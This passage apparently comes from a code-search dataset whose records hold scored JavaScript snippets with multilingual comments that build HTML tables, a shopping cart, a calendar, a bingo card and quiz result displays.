<td> y un nodo de texto, haz que el nodo de\n // texto sea el contenido de <td>, ubica el elemento <td> al final\n // de la fila de la tabla\n\n // Creo la columna \n var col = document.createElement(\"td\");\n // Agrego una clase celda\n col.setAttribute('class', 'cell');\n // Agrego un ID unico\n col.setAttribute('id', i + ',' + j);\n // Agrego evento que envia la posicion del elecmeto \n col.setAttribute(\"onclick\", \"coordenadas(this.id)\");\n\n // Agrego el disco dentro de la fila y columna\n var disco = document.createElement(\"div\");\n // Agrego la clase disc\n disco.setAttribute('class', 'disc');\n // A la columna le agreco un disco\n col.appendChild(disco);\n // A la fila le agrego una columna\n row.appendChild(col);\n }\n // agrega la hilera al final de la tabla (al final del elemento tblbody)\n tblBody.appendChild(row);\n\n }\n // posiciona el <tbody> debajo del elemento <table>\n tabla.appendChild(tblBody);\n // appends <table> into <body>\n body.appendChild(tabla);\n // modifica el atributo \"border\" de la tabla y lo fija a \"2\";\n tabla.setAttribute(\"border\", \"4\");\n}", "title": "" }, { "docid": "eb3bab3d96ced50ebf79015a17edb2df", "score": "0.57139045", "text": "function make_three_cols()\n {\n if (mixed)\n {\n var tbs = classify(document, 'table', 'hnd')\n for (var x=0,xL=tbs.length;x<xL;x++)\n {\n var tbl = tbs[x]\n if (tbl.id == \"\")\n {\n tbl.rows[0].insertCell(tbl.rows[0].cells.length)\n\n //change classes\n //tbl.rows[0].cells[0].setAttribute( \"class\", \"hedr_a_e\" )\n //tbl.rows[0].cells[1].setAttribute( \"class\", \"hedr_b_e\" )\n //tbl.rows[0].cells[2].setAttribute( \"class\", \"hedr_ee\" )\n tbl.rows[0].cells[0].className = 'hedr_a_e'\n tbl.rows[0].cells[1].className = 'hedr_b_e'\n tbl.rows[0].cells[2].className = 'hedr_ee'\n //NKR column header\n var headerLang = mixedLngsNames[where(mxdtsts, g_lang)].split('/')\n tbl.rows[0].cells[tbl.rows[0].cells.length - 1].innerHTML = '<b>' + headerLang[1].Trim() + ' Only<\\/b>' + ' <br \\/>Correct \\/ Total'\n //tbl.rows[0].cells[tbl.rows[0].cells.length-1].setAttribute( \"class\", \"hedr_ee\" )\n //add \"All\" to second column \n tbl.rows[0].cells[tbl.rows[0].cells.length - 2].innerHTML = '<b>All ' + headerLang[0].Trim() + '</b><br \\/><br \\/>' + tbl.rows[0].cells[tbl.rows[0].cells.length - 2].innerHTML\n\n //==>debug del\n //tbl.rows[0].cells[0].setAttribute( \"style\", \"border: 1px solid black\" )\n //tbl.rows[0].cells[1].setAttribute( \"style\", \"border: 1px solid red\" )\n //tbl.rows[0].cells[2].setAttribute( \"style\", \"border: 1px solid blue\" )\n }\n }\n \n //add third cell to rows 0 in all working\n var tds = classify(document, 'td', 'hedr_b')\n for (var x=0,xL=tds.length;x<xL;x++)\n {\n var TR = tds[x].parentNode\n if (TR.cells.length < 3)\n {\n TR.insertCell(TR.cells.length)\n if ('hedr_a' == TR.cells[0].className )\n {\n TR.cells[0].className = \"hedr_a_e\"\n }\n else if ('hedr_b' == TR.cells[1].className)\n {\n TR.cells[1].className = \"hedr_b_e\"\n }\n\n TR.cells[2].className = \"hedr_ee\"\n\n //==>test del\n //TR.cells[0].setAttribute( \"style\", \"border: 1px solid black\" )\n //TR.cells[1].setAttribute( \"style\", \"border: 1px solid red\" )\n //TR.cells[2].setAttribute( \"style\", \"border: 1px solid blue\" )\n }\n }\n\n //add third cell to rows 0 in all ceiling\n var tds = classify(document, 'td', 'css_intro')\n for (var x=0,xL=tds.length;x<xL;x++)\n {\n var TR = tds[x].parentNode\n if (TR.cells.length < 3)\n {\n TR.insertCell(TR.cells.length)\n TR.cells [TR.cells.length-1].innerHTML = ''\n //TR.cells[TR.cells.length-1].setAttribute( \"class\", \"hedr_be\" )\n\n //==>test del\n //TR.cells[0].setAttribute( \"style\", \"border: 1px solid black\" )\n //TR.cells[1].setAttribute( \"style\", \"border: 1px solid red\" )\n //TR.cells[2].setAttribute( \"style\", \"border: 1px solid blue\" )\n }\n }\n }\n }// add_hnd", "title": "" }, { "docid": "b3d96cdd5feb3166146086e2cd805d34", "score": "0.5708261", "text": "function centrarHijosEnFuncionAPadreBMas(idNodoPadre)\n{\n\tvar padre=document.getElementById(idNodoPadre);\n\tvar cantidadHijos=calcularCantidadHijosRamaBMas(padre);\n\tvar ancho=(cantidadHijos * anchoTotalNodo)+((cantidadHijos-1)*distanciaEntreNodos);\n\tvar medio=parseFloat(ancho / 2);\n\tvar posicionHijoMasIzquierdo=medio*(-1);\n\t//me quedo con el nodo del extremo mas izquierdo del arbol\n\tvar extremoIzquierdo=padre.firstChild.nextSibling;\n\twhile(extremoIzquierdo.childNodes.length > 1)\n\t{\n\t\textremoIzquierdo=extremoIzquierdo.firstChild.nextSibling;\n\t}\n\tvar hijoIzquierdo=padre.firstChild.nextSibling;\n\t//me quedo con la posicion real del nodo mas extremo del arbol\n\tvar posExtremoIzquierdo=position(extremoIzquierdo);\n\tvar leftExtremoIzquierdo=posExtremoIzquierdo.left;\n\t//me quedo con la posicion real del primer hijo del padre\n\tvar posHijoIzquierdo=positionBMas(hijoIzquierdo);\n\tvar leftHijoIzquierdo=posHijoIzquierdo.left;\n\t//calculo la distancia entre ambos nodos\n\tvar distancia=leftHijoIzquierdo-leftExtremoIzquierdo;\n\t//acomodo los hijos\n\tposicionHijoMasIzquierdo=posicionHijoMasIzquierdo+distancia+(anchoTotalNodo/2);\n\thijoIzquierdo.style.left=posicionHijoMasIzquierdo;\n\tcorrimientoADerechaBMas(hijoIzquierdo.id);\n}", "title": "" }, { "docid": "25096689e60da98a168a04f51d5f8477", "score": "0.5707252", "text": "function cargarTablaFechas1(tabla, datos) {\n var refTabla = document.getElementById(tabla);\n if (refTabla) {\n for (var i = 0; i < datos.fechas.length; i++) {\n var nuevaFila = refTabla.insertRow(-1);\n var nuevaCelda;\n nuevaCelda = nuevaFila.insertCell(-1);\n nuevaCelda.innerText = datos.fechas[i].id;\n nuevaCelda = nuevaFila.insertCell(-1);\n nuevaCelda.innerText = datos.fechas[i].fecha_inicio;\n nuevaCelda = nuevaFila.insertCell(-1);\n nuevaCelda.innerText = datos.fechas[i].fecha_final;\n var b = datos.fechas[i].estado;\n nuevaCelda = nuevaFila.insertCell(-1);\n nuevaCelda.setAttribute(\"class\", b === 1 ? \"especial\" : \"especial1\");\n nuevaCelda.innerHTML = b ? \"&#10004;\" : \"&#10006;\";\n }\n }\n}", "title": "" }, { "docid": "6e5d3ecabde017a43c081afde8838e2c", "score": "0.5702783", "text": "function warenkorbAufbauen() {\n document.getElementById(\"kartoffel1\")?.setAttribute(\"style\", \"display : none\");\n document.getElementById(\"kartoffel2\")?.setAttribute(\"style\", \"display : none\");\n document.getElementById(\"kartoffel3\")?.setAttribute(\"style\", \"display : none\");\n document.getElementById(\"warenkorbInhalt\")?.setAttribute(\"style\", \"display : block\");\n for (let i = 0; i < Aufgabe06.warenkorb.length; i++) {\n if (!document.getElementById(\"WarenkorbItem\" + i.toString())) {\n if (Aufgabe06.warenkorb[i] != null) {\n //Estellen von Div Elementen \n let newDiv = document.createElement(\"div\");\n //Div id zuweisen\n newDiv.setAttribute(\"articleIndex\", i.toString());\n newDiv.setAttribute(\"id\", \"WarenkorbItem\" + i.toString());\n //Element hinzufügen\n document.getElementById(\"Angebot\")?.appendChild(newDiv);\n //Bild hinzufügen\n let newImg = document.createElement(\"img\");\n newImg.src = Aufgabe06.warenkorb[i].imgSrc;\n newImg.setAttribute(\"alt\", Aufgabe06.warenkorb[i].Art);\n newDiv.appendChild(newImg);\n //Label hinzufügen\n let newL = document.createElement(\"label\");\n newL.setAttribute(\"for\", Aufgabe06.warenkorb[i].Name);\n newL.innerHTML = \"Kilogramm:\";\n newDiv.appendChild(newL);\n //Dropdownmenu hinzufügen\n let newSelect = document.createElement(\"select\");\n newSelect.setAttribute(\"class\", \"option\");\n newSelect.name = Aufgabe06.warenkorb[i].Name;\n newSelect.id = Aufgabe06.warenkorb[i].Name + \"select\";\n newDiv.appendChild(newSelect);\n //Option vom Dropdownmenu\n let newOp1 = document.createElement(\"option\");\n newOp1.value = \"2.5\";\n newOp1.innerHTML = \"5 kg | \" + Aufgabe06.warenkorb[i].price1 + \"€\";\n let newOp2 = document.createElement(\"option\");\n newOp2.value = \"5\";\n newOp2.innerHTML = \"10 kg | \" + Aufgabe06.warenkorb[i].price2 + \"€\";\n newSelect.appendChild(newOp1);\n newSelect.appendChild(newOp2);\n //Name hinzugefügt \n let newName = document.createElement(\"p\");\n newName.setAttribute(\"class\", \"Name\");\n newName.innerText = Aufgabe06.warenkorb[i].Name;\n newDiv.appendChild(newName);\n //Beschreibung hinzugefügt \n let newP = document.createElement(\"p\");\n newP.setAttribute(\"class\", \"beschreibung\");\n newP.innerHTML = Aufgabe06.warenkorb[i].Description;\n newDiv.appendChild(newP);\n //Button hinzugefügt \n let newB = document.createElement(\"input\");\n newB.addEventListener(\"click\", handlerWarenkorbEntfernen);\n newB.setAttribute(\"class\", \"button\");\n newB.value = \"entfernen\";\n newB.type = \"button\";\n newB.setAttribute(\"articleIndex\", i.toString());\n newDiv.appendChild(newB);\n productCounter.style.display = \"block\";\n }\n }\n try {\n document.getElementById(\"4kartoffel\").innerHTML = \"Aktueller Betrag: \" + preisBerechnung().toFixed(2).toString() + \"€\" + \"<br> <input type='button' id='Bestellen' value='Bestellen'>\";\n }\n catch (error) {\n document.getElementById(\"4kartoffel\").innerHTML = \"Aktueller Betrag: \" + gesamtPreis.toFixed(2).toString() + \"€\" + \"<br> <input type='button' id='Bestellen' value='Bestellen'>\";\n }\n }\n // Produkte aus dem Warenkorb nehmen und aktuellen Preis berechnen\n }", "title": "" }, { "docid": "a3370677e1bf3d83416e680ee3678c8d", "score": "0.57022643", "text": "function visualizzaValutazioni(){\n //Informazioni da visualizzare le prendo dall'array valutazioni[]\n for(z=0; z < valutazioni.length; z++){\n var newDiv = document.createElement(\"div\");\n if (valutazioni[z].valutazione != null && valutazioni[z].commentoValutazione != null){\n if (valutazioni[z].immagine == null){\n newDiv.innerHTML = \"<br> Domanda: \" + valutazioni[z].domanda + \"<br>\" + \"Risposta: \" + valutazioni[z].risposta + \"<br>\" + \"Valutazione: \" + valutazioni[z].valutazione + \"<br>\" + \"Commento alla valutazione: \" + valutazioni[z].commentoValutazione + \"<br>\" + \"<br>\";\n }\n else{\n newDiv.innerHTML = \"<br> Domanda: \" + valutazioni[z].domanda + \"<br> Risposta immagine: \";\n var Img = document.createElement(\"img\");\n Img.src = valutazioni[z].immagine;\n Img.setAttribute(\"width\", \"150em\");\n Img.setAttribute(\"alt\", \"Foto scattata con fotocamera per la risposta\");\n newDiv.appendChild(Img); //Aggiunge un nodo alla fine dell'elenco di figli di un nodo genitore specificato\n newDiv.innerHTML += \"<br>\" + \"Valutazione: \" + valutazioni[z].valutazione + \"<br>\" + \"Commento alla valutazione: \" + valutazioni[z].commentoValutazione + \"<br>\" + \"<br>\";\n }\n if(inserisciMargine == true){ //Se è la prima volta che chiamo visualizzaValutazioni allora setto il margine superiore\n var altezzaDomanda = document.getElementById('domanda').offsetHeight; //Prende l'altezza della nuvola della domanda\n altezzaDomanda = altezzaDomanda + 20;\n newDiv.style.marginTop = altezzaDomanda.toString() + \"px\"; //Converte in stringa il valore dell'altezza della domanda (intero)\n }\n inserisciMargine = false;\n newDiv.style.marginBottom = \"50px\";\n newDiv.style.width = \"900px\";\n newDiv.style.fontFamily = \"Baskerville\";\n newDiv.style.fontSize = \"20px\";\n var oldDiv = document.getElementById('row1');\n oldDiv.appendChild(newDiv);\n window.scroll();\n valutazioni.splice(z,1); //Elimino un solo oggetto in posizione z\n z--;\n }\n if(contatoreValutazioniEffettive == contatoreValutazioni && z == valutazioni.length-1){\n var newDivDue = document.createElement(\"div\");\n newDivDue.style.fontFamily = \"Baskerville\";\n newDivDue.style.fontSize = \"20px\";\n newDivDue.style.height = \"100px\";\n newDivDue.innerHTML = \"Punteggio ottenuto: \" + punteggio + \"/\" + punteggioTotale;\n newDivDue.style.fontWeight = \"bold\";\n newDivDue.style.float = \"left\";\n newDivDue.style.marginBottom = \"300px\";\n newDiv.appendChild(newDivDue);\n }\n }\n if(contatoreValutazioniEffettive == contatoreValutazioni && z == valutazioni.length){\n document.getElementById('footer').hidden = false;\n document.getElementById('paginaPrincipale').hidden = true;\n document.getElementById('inviaDatiRiassuntivi').hidden = false;\n console.log(\"Dati riassuntivi inviati: \" + JSON.stringify(datiRiassuntivi));\n }\n }", "title": "" }, { "docid": "fec33e18226301bebcfb6915956cc107", "score": "0.57010406", "text": "function corrimientoADerechaBMas(idDivNuevoNodoDerecho)\n{\n\t/*me quedo con el div a partir del cual hay que realizar el corrimiento*/\n\tvar divLimite=document.getElementById(idDivNuevoNodoDerecho);\n\tvar numeroNodoLimite=idDivNuevoNodoDerecho;\n\tnumeroNodoLimite=parseInt(numeroNodoLimite.substr(2,numeroNodoLimite.length-2));\n\t/*me quedo con el div padre*/\n\tvar divPadre=divLimite.parentNode;\n\t/*realizo el corrimiento*/\n\tvar divACorrer=divPadre.firstChild.nextSibling;\n\tif(divACorrer.childNodes.length == 1)\n\t{\n\t\tfor(var x=0;x<=divPadre.childNodes.length-2;x++)\n\t\t{\n\t\t\tvar numeroNodoACorrer=divACorrer.id;\n\t\t\tnumeroNodoACorrer=parseInt(numeroNodoACorrer.substr(2,numeroNodoACorrer.length-2));\n\t\t\tif(parseInt(numeroNodoACorrer) > parseInt(numeroNodoLimite))\n\t\t\t{\n\t\t\t\tvar movimiento=parseInt(divACorrer.previousSibling.style.left)+anchoTotalNodo+distanciaEntreNodos;\n\t\t\t\tdivACorrer.style.left=movimiento;\n\t\t\t}\n\t\t\tdivACorrer=divACorrer.nextSibling;\n\t\t}\n\t}else\n\t{\n\t\tfor(var x=0;x<=divPadre.childNodes.length-2;x++)\n\t\t{\n\t\t\tvar idDivACorrer=divACorrer.id;\n\t\t\tvar numeroNodoACorrer=parseInt(idDivACorrer.substr(2,idDivACorrer.length-2));\n\t\t\tif(parseInt(numeroNodoACorrer) > parseInt(numeroNodoLimite))\n\t\t\t{\n\t\t\t\tvar movimiento=calcularMovimientoEnFuncionAHijosIzquierdos(idDivACorrer);\n\t\t\t\tdivACorrer.style.left=movimiento;\n\t\t\t}\n\t\t\tdivACorrer=divACorrer.nextSibling;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "26fe662493277636a126e9cfe25bec7a", "score": "0.5697958", "text": "function fnSp4ListarHallazgosAsignados(data)\n{\n let html = ''\n // AQUI VAMOS A CREAR UN OBJETO PARA CADA HALLAZGO ASIGNADO\n data.forEach((Item)=>\n {\n let backgroundACR = 'background-color:#34559c;'\n let titleACR = ''\n let disabledACR = ''\n // para mostrar campos dinamicos bloqueado en la modal de evaluar\n // y activos en esta modulo...\n let ver = ''\n\n //objHallazgoAsignado[Item.Id] = new classHallazgo()\n //objHallazgoAsignado[Item.Id].cargarDataServicio(Item)\n console.warn(Item)\n if(Item.AccionCorrectiva.FechaInicioAnalisis==\"\"||Item.AccionCorrectiva.FechaInicioAnalisis==null)\n Item.AccionCorrectiva.FechaInicioAnalisis='---'\n\n if(Item.AccionCorrectiva.FechaFinAnalisis==\"\"||Item.AccionCorrectiva.FechaFinAnalisis==null)\n Item.AccionCorrectiva.FechaFinAnalisis='---'\n\n if(Item.StatusAccionCorrectivaId==2)\n {\n disabledACR = 'disabled readonly'\n backgroundACR = 'background-color: #b2b2b2 !important;'\n }\n\n\n titleACR = 'Atender Hallazgo '+Item.Code_Hallazgo\n\n\n html += `\n <div class=\"item-tabla py-2 px-4\" style=\"z-index: 1;display:relative;\">\n <div class=\"row m-0 justify-content-between align-items-center tbody_trainning\">\n <div class=\"col-12 text-center\" style=\"font-size: 14px; padding: 4px !important; \">\n <div class=\"row\">\n\n <table width = \"100%\" border=\"0\">\n <tr>\n\n <td width = \"10%\" align=\"center\"><div id=\"c1TabGeny\" class=\"text-left lbCabezaTabla1\" >${Item.Code_Hallazgo}</div></td>\n <td width = \"10%\" align=\"center\"><div id=\"c2TabGeny\" class=\"text-left lbCabezaTabla1\" >${Item.Fuente}</div></td>\n <td width = \"10%\" align=\"center\"><div id=\"c3TabGeny\" class=\"text-left lbCabezaTabla1\" >${Item.TipoHallazgo}</div></td>\n <td width = \"10%\" align=\"center\"><div id=\"c4TabGeny\" class=\"text-left lbCabezaTabla1\" >${Item.Norma}</div></td>\n <td width = \"15%\" align=\"center\"><div id=\"c5TabGeny\" class=\"text-left lbCabezaTabla1\" >${Item.ReportanteName}</div></td>\n <td width = \"8%\" align=\"center\"><div id=\"c6TabGeny\" class=\"text-left lbCabezaTabla1\" >${Item.FechaEjecucion}</div></td>\n <td width = \"8%\" align=\"center\"><div id=\"c7TabGeny\" class=\"text-left lbCabezaTabla1\" >${Item.AccionCorrectiva.FechaInicioAnalisis}</div></td>\n <td width = \"8%\" align=\"center\"><div id=\"c7TabGeny\" class=\"text-left lbCabezaTabla1\" >${Item.AccionCorrectiva.FechaFinAnalisis}</div></td>\n <td width = \"8%\" align=\"center\"><div id=\"c8TabGeny\" class=\"text-left lbCabezaTabla1\" style=\"font-weight: bold; color:${Item.StatusHallazgoCode}\"; >${Item.StatusHallazgo}</div></td>\n <td width = \"8%\" align=\"center\"><div id=\"c9TabGeny\" class=\"text-left lbCabezaTabla1\" style=\"font-weight: bold; color:${Item.StatusAccionCorrectivaCode}\"; >${Item.StatusAccionCorrectiva}</div></td>\n <td width = \"5%\" align=\"center\"><div id=\"c10TabGeny\" class=\"text-center lbCabezaTabla1\" >\n\n <button type='button' onclick=\"fnSp4VerModalCrearACR(${Item.Id},'${ver}')\" class='btn-circle btn_read border-0' ${disabledACR} style='${backgroundACR} cursor:pointer !important;' id='btn_AtenderHallazgo_${Item.Id}' title ='${titleACR}' >\n <img src='./images/iconos/searching1.png' title ='${titleACR}' style = 'cursor:pointer !important;'>\n </button>\n\n </div></td>\n\n </tr>\n </table>\n\n </div>\n </div>\n </div>\n </div>\n `\n })\n\n //console.log(\"objHallazgoAsignado\",objHallazgoAsignado)\n\n return html\n}", "title": "" }, { "docid": "b57dc1b04d56332a47d143ebc77a7487", "score": "0.5696943", "text": "function afficherTableau() {\n let tabOeuvres = document.getElementById('tabOeuvres');\n if (tabOeuvres !== null) {\n while (tabOeuvres.firstChild) {\n tabOeuvres.removeChild(tabOeuvres.firstChild);\n }\n }\n ouvrages.forEach(function(oeuvre) {\n let tmp = document.createElement('tr');\n\n let tdRef = document.createElement('td');\n tdRef.innerText = oeuvre['Reference'];\n tmp.appendChild(tdRef);\n\n let tdTitre = document.createElement('td');\n tdTitre.innerText = oeuvre['Titre'];\n tmp.appendChild(tdTitre);\n\n let tdAuteur = document.createElement('td');\n tdAuteur.innerText = oeuvre['Auteur'];\n tmp.appendChild(tdAuteur);\n\n let tdEditeur = document.createElement('td');\n tdEditeur.innerText = oeuvre['Editeur'];\n tmp.appendChild(tdEditeur);\n\n let tdEdition = document.createElement('td');\n tdEdition.innerText = oeuvre['Edition'];\n tmp.appendChild(tdEdition);\n\n let tdAnnee = document.createElement('td');\n tdAnnee.innerText = oeuvre['AnneeEdition'];\n tmp.appendChild(tdAnnee);\n\n let tdISBN = document.createElement('td');\n tdISBN.innerText = oeuvre['ISBN'];\n tmp.appendChild(tdISBN);\n\n let tdNb = document.createElement('td');\n tdNb.innerText = oeuvre['NbExemplaires'];\n tmp.appendChild(tdNb);\n\n let tdDispo = document.createElement('td');\n console.log(oeuvre['Disponibilite']);\n if (oeuvre['Disponibilite'] === true) {\n tdDispo.innerText = 'Oui';\n } else {\n tdDispo.innerText = 'Non';\n }\n tmp.appendChild(tdDispo);\n\n let tdExclu = document.createElement('td');\n if (oeuvre['ExcluPret'] === true) {\n tdExclu.innerText = 'Oui';\n } else {\n tdExclu.innerText = 'Non';\n }\n tmp.appendChild(tdExclu);\n\n let tdComm = document.createElement('td');\n tdComm.innerText = oeuvre['Commentaire'];\n tmp.appendChild(tdComm);\n\n tabOeuvres.appendChild(tmp);\n });\n}", "title": "" }, { "docid": "f070b47c0283f85a3d57bf3ec58377d7", "score": "0.5695154", "text": "function showBombs(){\n\n for (var i=0; i<board.length; i++){\n for (var j=0; j<board[i].length; j++){\n if(board[i][j]==-1){\n\t\t\t $('#tablica').getCell(i,j).removeClass('black');\n\t\t$('#tablica').getCell(i,j).addClass('mine');\n\t\t//aby pokazac -1 zamiast obrazka bomby:\n //$('#tablica').getCell(i,j).html(board[i][j]);\n\t\t\t}\n\t\t\t}\n\t}\n}", "title": "" }, { "docid": "272b74eab1f58c41ac6b95d84eccca3c", "score": "0.5693946", "text": "function tabla_principal() {\n /***funcion principal ***/\n var pasillos_arr = [];\n //variables globales\n var pasillos = new tabla_logica();\n var clasificado_8020 = new tabla_logica();\n \n\n clasificado_8020.setPasillo = \"80/20\";\n var contador_80_20 = 0;\n var contador_pasillo = 0;\n \n //ordenar Productos\n PRODUCTOS_ANALIZADOS.sort(function (a, b) {\n if (a.pasillo > b.pasillo) {\n return 1;\n }\n if (a.pasillo < b.pasillo) {\n return -1;\n }\n // a must be equal to b\n return 0;\n });\n\n //obtener 8020\n $.each(PRODUCTOS_ANALIZADOS.filter(cla =>cla.clasificacion_8020 === \"8020\"), (index,item) => {\n llenar_8020(item);\n });\n pasillos_arr.push (clasificado_8020);\n//recorrido datos\n $.each(PRODUCTOS_ANALIZADOS, (index, item) => {\n \n if (index === 0) {\n pasillos = new tabla_logica();\n pasillos.setPasillo = item.pasillo;\n }\n if (pasillos.getPasillo === item.pasillo) {\n\n llenar_pasillo(item);\n }\n else if (pasillos.getPasillo !== item.pasillo) {\n \n pasillos_arr.push(pasillos);\n\n pasillos = new tabla_logica();\n contador_pasillo=0;\n pasillos.setPasillo = item.pasillo;\n llenar_pasillo(item);\n }\n });\n pasillos_arr.push(pasillos);\n\n//funciones\n function llenar_8020(item) {\n \n clasificado_8020.setAvance = (item.BODART_N > 0 || item.BODART_O > 0);\n clasificado_8020.setAvance = (item.LEY_PCIO_N > 0 || item.LEY_PCIO_O > 0);\n clasificado_8020.setAvance = (item.LOPEZ_N > 0 || item.LOPEZ_O > 0);\n clasificado_8020.setAvance = (item.MEZQUITILLO_N > 0 || item.MEZQUITILLO_O > 0);\n clasificado_8020.setAvance = (item.SORIANA_N > 0 || item.SORIANA_O > 0);\n clasificado_8020.setAvance = (item.TERESITA_N > 0 || item.TERESITA_O > 0);\n\n contador_80_20++;\n\n clasificado_8020.setCantidad = contador_80_20;\n clasificado_8020.Acumulado();\n clasificado_8020.Diferencia(); \n }\n function llenar_pasillo(item) {\n\n pasillos.setAvance = (item.BODART_N > 0 || item.BODART_O > 0) ;\n pasillos.setAvance = (item.LEY_PCIO_N > 0 || item.LEY_PCIO_O > 0) ;\n pasillos.setAvance = (item.LOPEZ_N > 0 || item.LOPEZ_O > 0) ;\n pasillos.setAvance = (item.MEZQUITILLO_N > 0 || item.MEZQUITILLO_O > 0) ;\n pasillos.setAvance = (item.SORIANA_N > 0 || item.SORIANA_O > 0) ;\n pasillos.setAvance = (item.TERESITA_N > 0 || item.TERESITA_O > 0) ;\n\n contador_pasillo ++;\n\n pasillos.setCantidad = contador_pasillo ;\n pasillos.Acumulado();\n pasillos.Diferencia();\n }\n /*Funciones del DOM*/\n ReactDOM.render(\n <div className=\"tabla_productos\">\n <Pasillo datos={pasillos_arr} n_clase={\"pasillo\"} />\n </div>\n ,$(\"#principal\")[0]\n );\n}", "title": "" }, { "docid": "7d6c31a2ff4f42993d4f57a422bccfb1", "score": "0.5690655", "text": "function dibuja_dias(my_last_next)\n{\n console.log(my_last_next); \n const monthNames = [\"Enero\", \"Febrero\", \"Marzo\", \"Abril\", \"Mayo\", \"Junio\",\n \"Julio\", \"Agosto\", \"Septiembre\", \"Octubre\", \"Noviembre\", \"Diciembre\"\n]\n $('#mesano').append('<div class=\"col\"><h1>'+monthNames[my_last_next[4]-1]+' '+my_last_next[5]+'</h1></div>');\n\n var array_enmes=[];\n array_enmes.length=86;\n array_enmes=array_diasmes(my_last_next); \n //console.log(array_enmes);\n\n var columnas=\"\";\n \n for (j=0;j<=5;j++)\n {\n columnas=columnas+'<div class=\"row\">';\n for (i=1;i<8;i++)\n {\n if (i<6)\n { \n if (j*7+i<array_enmes[85] || j*7+i>=array_enmes[86])\n {\n columnas=columnas+'<div name=\"midia\" id=\"'+(\"0\"+array_enmes[j*7+i].toString()).slice(-2)+array_enmes[j*7+i+42].toString()+'\" class=\"col-sm col-1 fecha fondo-claro letra-clara\"><h1>'+array_enmes[j*7+i]+'</h1></br></div>';\n }\n else\n {\n columnas=columnas+'<div name=\"midia\" id=\"'+(\"0\"+array_enmes[j*7+i].toString()).slice(-2)+array_enmes[j*7+i+42].toString()+'\" class=\"col-sm col-1 fecha fondo-claro letra-oscura\"><h1>'+array_enmes[j*7+i]+'</h1></br></div>';\n }\n }\n else\n {\n if (j*7+i<array_enmes[85] || j*7+i>=array_enmes[86])\n {\n columnas=columnas+'<div name=\"midia\" id=\"'+(\"0\"+array_enmes[j*7+i].toString()).slice(-2)+array_enmes[j*7+i+42].toString()+'\" class=\"col-sm col-1 fecha fondo-oscuro letra-clara\"><h1>'+array_enmes[j*7+i]+'</h1></br></div>';\n }\n else\n {\n columnas=columnas+'<div name=\"midia\" id=\"'+(\"0\"+array_enmes[j*7+i].toString()).slice(-2)+array_enmes[j*7+i+42].toString()+'\" class=\"col-sm col-1 fecha fondo-oscuro letra-oscura\"><h1>'+array_enmes[j*7+i]+'</h1></br></div>';\n }\n }\n } \n columnas=columnas+'</div>';\n }\n $('#dias').append(columnas);\n Dibujar_Titulos(my_last_next[4],my_last_next[5])\n}", "title": "" }, { "docid": "9676d727ec641602a8f72ab3d8d19551", "score": "0.56849736", "text": "function aucune_donnee_trouve(du,au){\n\n eraseContainer(\"block_resultat\");\n var div = document.createElement(\"DIV\");\n div.setAttribute(\"id\",\"block_resultat\");\n document.body.appendChild(div);\n\n\n var p = document.createElement(\"P\");\n var text = document.createTextNode(\"Aucune infraction trouvée commise entre le \" + au + \" et le \" + du);\n p.appendChild(text);\n document.getElementById(\"block_resultat\").appendChild(p);\n\n}", "title": "" }, { "docid": "512fa29a877c528a2105b7e9c9d48b45", "score": "0.5681308", "text": "function tablero() {\n rellenado_de_tablero();\n }", "title": "" }, { "docid": "7e01baf437f98d0cdcae10a17eb77563", "score": "0.5665433", "text": "function actualizarTabla(){\n\t//debugger;\n\tvar scriptTabla=\"\";\n\tfor(var index=0; index<reciente.length; index++){\n\t\tscriptTabla+=\"<tr>\";\n\t\tscriptTabla+=\"<td>\"+reciente[index].codigo+\"</td>\";\n\t\tscriptTabla+=\"<td>\"+reciente[index].nombre+\"</td>\";\n\t\tscriptTabla+=\"<td>Q \"+reciente[index].precio+\"</td>\";\n\t\tscriptTabla+=\"<td><img src=\\\"\"+reciente[index].imagen+\"\\\" width=\\\"75px\\\"></td>\";\n\t\tscriptTabla+=\"</tr>\";\n\t}\n\tdocument.getElementById(\"idTableBody\").innerHTML = scriptTabla;\n}", "title": "" }, { "docid": "ff95faa3a8710fdcf4833cfd7cd0731c", "score": "0.5661212", "text": "function genera_tabla() {\r\n\t\r\n\tvar elemento_zonadibujo = document.getElementById(\"cartonbingo\"); //Asignamos el elemento \"cartonbingo\" a una variable \r\n\tvar elemento_tabla = document.createElement(\"table\"); //Creamos un elemento \"table\"\r\n\ttable = elemento_tabla.createCaption(); //Creamos un Caption en la tabla\r\n\ttable.innerHTML = \"<b>Haga CLICK en cualquier celda para marcar los numeros indicados</b>\";\r\n\tvar tabla_body = document.createElement(\"tbody\"); //Creamos un elemento para el cuerpo de la tabla\r\n\ttabla_body.setAttribute(\"id\", \"tbody\");\r\n\tvar numero_cell =0; \r\n\tfor(var i = 0; i < 3; i++){\r\n\t\tvar fila = document.createElement(\"tr\"); //creamos la fila \r\n\t\tfila.setAttribute(\"id\", \"tr\"+i); //añadimos el atributo \"id\"\r\n\t\tfor(var j = 0; j < 9; j++){\r\n\t\t\tvar celda = document.createElement(\"td\"); //creamos la celda\r\n\t\t\tcelda.setAttribute(\"id\", \"cell\"+i+\"\"+j); //añadimos el atributo \"id\"\r\n\t\t\tcelda.setAttribute(\"class\", \"boton_blanco\"); //añadimos el atributo \"class\"\r\n\t\t\tcelda.style.width = \"10px\";\t//añadimos el estilo ancho 10px\r\n\t\t\tcelda.style.height = \"10px\"; //añadimos el estilo altura 10px\r\n\t\t\tfila.appendChild(celda); //añadimos el hijo de fila(celda)\r\n\t\t\tnumero_cell++;\r\n\t\t}\r\n\t\ttabla_body.appendChild(fila); //añadimos el hijo del cuerpo de la tabla(fila)\r\n\t}\r\n\t\r\n\telemento_tabla.appendChild(tabla_body); //añadimos el hijo de la tabla(tabla_body)\r\n\telemento_zonadibujo.appendChild(elemento_tabla); //Añadimos el hijo del elemento(elemento_tabla)\r\n\telemento_tabla.setAttribute(\"border\", \"2\"); //añadimos el atributo del borde de la tabla\r\n}", "title": "" }, { "docid": "bc3bf732576d937d6046d4119a3152df", "score": "0.5657148", "text": "function displayUmbrellas(data)\n{\n\tconsole.log(\"displayUmbrellas\");\n\tvar html ='';\n\tvar htmlArray = [];\n\tfor (var i = 0; i < data.length; i++) \n\t{\n\t\tvar html = '<div id=\"headingCity\">'+ data[i].data.description + '</div>'+\n\t\t \t\t'<img src='+ data[i].data.icon +' alt=\" \" /> <br />'+\n\t\t \t\t'<div id=\"headingSub\">'+ data[i].data.make + ' </div>'+\n\t\t \t\t'<div id=\"headingSub\">' + data[i].data.price + '</div><br />'+\n\t\t \t\t'<hr>';\n\t\t \t\thtmlArray.push(html);\n\t}\n\tvar umbrellasElement = document.getElementById('umbrellasContent');\n\t\t 